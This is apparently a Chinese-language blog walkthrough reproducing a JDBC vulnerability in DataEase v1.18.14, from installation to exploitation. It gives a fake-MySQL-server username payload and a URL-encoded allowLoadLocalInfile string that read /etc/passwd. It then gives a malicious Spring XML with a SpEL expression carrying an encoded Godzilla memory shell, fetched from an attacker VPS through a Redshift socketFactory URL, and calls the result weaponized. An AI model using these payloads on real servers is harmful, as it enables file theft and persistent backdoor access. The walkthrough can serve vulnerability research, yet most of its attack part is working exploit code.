前言
有人问我这个漏洞怎么复现,恰好就来看看。
https://forum.butian.net/share/2848
环境搭建
本人选择的是离线搭建
教程
https://dataease.io/docs/v2/installation/offline_INSTL_and_UPG/
下载地址
https://community.fit2cloud.com/#/products/dataease/downloads
安装
先解压压缩包
1 | tar zxvf dataease-v1.18.14-offline.tar.gz |
进入安装包目录
1 | cd dataease-v1.18.14-offline/ |
运行安装脚本
1 | /bin/bash install.sh |
漏洞复现
参考文章
https://forum.butian.net/share/2848
准备工作
先下载好存在漏洞的mysql jdbc
驱动版本的jar
。
我使用的是mysql-connector-java-8.0.19.jar
上传驱动
数据源
->驱动管理
->添加驱动
驱动类填com.mysql.cj.jdbc.Driver
点击保存
漏洞触发(文件读取)
新建数据源
->选择mysql
数据驱动选择刚刚添加上传的驱动
通过这个工具https://github.com/4ra1n/mysql-fake-server
启动恶意的mysql服务
用户名处填入
1 | base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q= |
额外的JDBC连接字符串填入
1 | characterEncoding=UTF-8&connectTimeout=5000&useSSL=false&allowPublicKeyRetrieval=true&%61%6c%6c%6f%77%4c%6f%61%64%4c%6f%63%61%6c%49%6e%66%69%6c%65=%74%72%75%65& |
url编码处的字符串为allowLoadLocalInfile=true
然后点击校验
恶意mysql服务器端(192.168.1.101)
收到DataEase(192.168.1.103)
端的mysql
连接请求
生成了新的文件目录
成功读取到DataEase
服务器上的/etc/passwd
文件的内容
内存马注入(哥斯拉)
此处内存马注入是通过CVE-2022-21724
漏洞去注入的,也就是PostgreSQL JDBC
漏洞。
先准备一个恶意的xml
文件,其文件内容是
1 | <beans xmlns="http://www.springframework.org/schema/beans" |
可以看见这里是有一个spel表达式
的。
将其spel表达式
修改成以下代码块,也就是注入一个哥斯拉的内存马。
相关配置如下:
密码:pass123
密钥:key123
·请求路径: /api/user
请求头: Referer: https://www.baidu.com
spel表达式
如下:
1 | #{T(org.springframework.cglib.core.ReflectUtils).defineClass('ch.qos.logback.e.EncryptionUtils',T(org.springframework.util.Base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EAAgAAAAmAAkAAAB8AAUAfQAJAH8ADwCAABQAgQAWAIIAFwCDABwAhAAfAIYACQAAADQABQAPAAcBEQESAAMAFwAFAJEBGgADAAAAKAEPAB8AAAAAACgBEADMAAEABQAjAI8AkAACALsAAAAMAAEABQAjAI8AzQACADsAAAANAAP8AAUHAF1QBwEZCAASAAAABAABARkAKABOAE8AAgAHAAAAQgAEAAIAAAAOKisDvQBdA70ABLgAYrAAAAACAAgAAAAGAAEAAACLAAkAAAAWAAIAAAAOASMAHwAAAAAADgEkAMwAAQASAAAACAADAIYAiACEACkATgBgAAIABwAAAhcAAwAJAAAAyirBAF2ZAAoqwABdpwAHKrYAfDoEAToFGQQ6BhkFxwBkGQbGAF8sxwBDGQa2ATQ6BwM2CBUIGQe+ogAuGQcVCDK2ATcrtgE6mQAZGQcVCDK2AT6+mgANGQcVCDI6BacACYQIAaf/0KcADBkGKyy2AKk6Baf/qToHGQa2ASE6Bqf/nRkFxwAMuwCGWSu3AT+/GQUEtgCvKsEAXZkAGhkFAS22ALewOge7AUFZGQe2AUS3AUW/GQUqLbYAt7A6B7sBQVkZB7YBRLcBRb8AAwAlAHIAdQCGAJwAowCkAIgAswC6ALsAiAADAAgAAABuABsAAACPABQAkAAXAJIAGwCTACUAlQApAJcAMACYADsAmQBWAJoAXQCbAGAAmABmAJ4AaQCfAHIAowB1AKEAdwCiAH4AowCBAKUAhgCmAI8AqACVAKkAnACrAKQArACmAK0AswCxALsAsgC9ALMACQAAAHoADAAzADMBJQDnAAgAMAA2ASYBJwAHAHcABwCRASgABwCmAA0AkQEpAAcAvQANAJEBKQAHAAAAygEPAB8AAAAAAMoBJADMAAEAAADKASoBKwACAAAAygEsAS0AAwAUALYAjwCQAAQAFwCzAS4AjgAFABsArwEvAJAABgA7AAAALwAODkMHAF3+AAgHAF0HAKsHAF39ABcHATABLPkABQIIQgcAhgsNVAcAiA5HBwCIABIAAAAIAAMAhgCEAIgAAA=='),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).newInstance()} |
将xml
文件放在vps
上,然后进行请求
此时在后台,需要新建一个AWS Redshift数据源
数据库名称是
1 | test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://vps/1.xml |
其他都是随便填
点击获取Schema
vps
收到服务器的请求,也就是请求xml
文件
打开哥斯拉,配置好密码密钥选择好加载器后,需要继续配置请求头。并添加认证的凭证,也就是Authorization
点击测试,连接成功。
成功武器化利用
参考
由CVE-2022-21724引申jdbc漏洞
CVE-2024-23328 DataEase jdbc反序列化漏洞分析
mysql-fake-serve
java-memshell-generator